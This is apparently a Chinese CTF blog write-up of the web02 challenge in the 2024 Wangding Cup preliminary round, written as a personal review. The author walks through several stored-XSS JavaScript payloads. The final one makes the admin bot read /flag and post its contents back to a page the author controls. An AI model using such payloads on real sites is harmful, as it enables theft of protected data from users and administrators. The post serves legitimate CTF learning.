2024网鼎杯初赛青龙组web个人复盘

这是我第一次正式随战队参加正规的CTF比赛,虽然没能顺利进入线下比赛,也算一次难忘的经历了。(也见识到了闲鱼的真正恐怖之处)
虽然是初赛,比赛的难度也是挺高的,web只做出来一道。
web02
首先进行登录,对账号密码都没有要求
登陆到后台,看到输入框,发现输入内容可以回显,先进行SSTI测试,发现不行,于是测试XSS,可以弹出提示框,于是尝试XSS注入(页面中“点击提交当前页面,boss会审核你的起飞任务清单”也提示使用XSS)。
在信息搜集和分析中,得到网站目录下有/flag,但访问时会提示非boss不能访问,于是分析得到可能需要后台robot来访问或者得到Cookie来仿造。
首先尝试获取Cookie,在使用XSS平台和本地均无果之后,开始尝试利用后台robot主动触发来读取文件。
首先尝试了利用 JavaScript 读取内容
1 | fetch('/flag').then(response => response.text()).then(flag => { |
分析发现并不能实现回显
于是又尝试了让后台逻辑处理 XSS 请求
1 | <script> fetch('/content/4b83e2b546a14c368169bd65b087103a', { method: 'POST', body: JSON.stringify({ flag: document.location.origin + "/flag" }), headers: { 'Content-Type': 'application/json' } }); </script> |
依旧读取不到flag
后来想到用XSS使后台机器人触发,先获取到flag的内容,再让它来update,使得flag能出现在后台界面上
1 | fetch('/flag').then(response => response.text()).then(flag => fetch('/content/aca41d6e19072e223041e932296e9789', {method: 'POST', body: JSON.stringify({content: flag}), headers: {'Content-Type': 'application/json'}})).catch(error => console.error('读取 /flag 文件失败:', error)); |
但此时出现了一个问题,该代码XSS的fetch无法正确触发请求
分析请求包,得知是传参错误,按要求修改代码:
1 | fetch('/content/f80c602cb11d154694a7d4ecc731be6e', { method: 'POST', headers: { 'Cache-Control': 'max-age=0', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Origin': 'http://0192d60efa0b7e5eb344d2070fb16fb3.w14f.dg02.ciihw.cn:45512', 'Content-Type': 'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Referer': 'http://0192d60efa0b7e5eb344d2070fb16fb3.w14f.dg02.ciihw.cn:45512/content/f80c602cb11d154694a7d4ecc731be6e', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive' }, body: 'content=test' }); |
测试通过,证明该方式可以正常访问,于是修改为:
1 | <script>fetch('/flag').then(response => response.text()).then(flag => fetch('/content/f80c602cb11d154694a7d4ecc731be6e', { method: 'POST', headers: {'Cache-Control': 'max-age=0', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Content-Type': 'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive' }, body: `content=${encodeURIComponent(flag)}` })).catch(error => console.error('读取 /flag 文件失败:', error));</script> |
submit之后,就可以获取到flag了。
平心而论,这道题出得还是很不错的,拓宽了我对XSS攻击的认知。从前我觉得XSS只能用来读取敏感信息,从没想过它还能实现类似CSRF的效果。
- 标题: 2024网鼎杯初赛青龙组web个人复盘
- 作者: Wang1r
- 创建于 : 2024-11-02 22:00:00
- 更新于 : 2025-04-07 12:33:37
- 链接: https://wang1rrr.github.io/2024/11/02/2024网鼎杯初赛青龙组web个人复盘/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。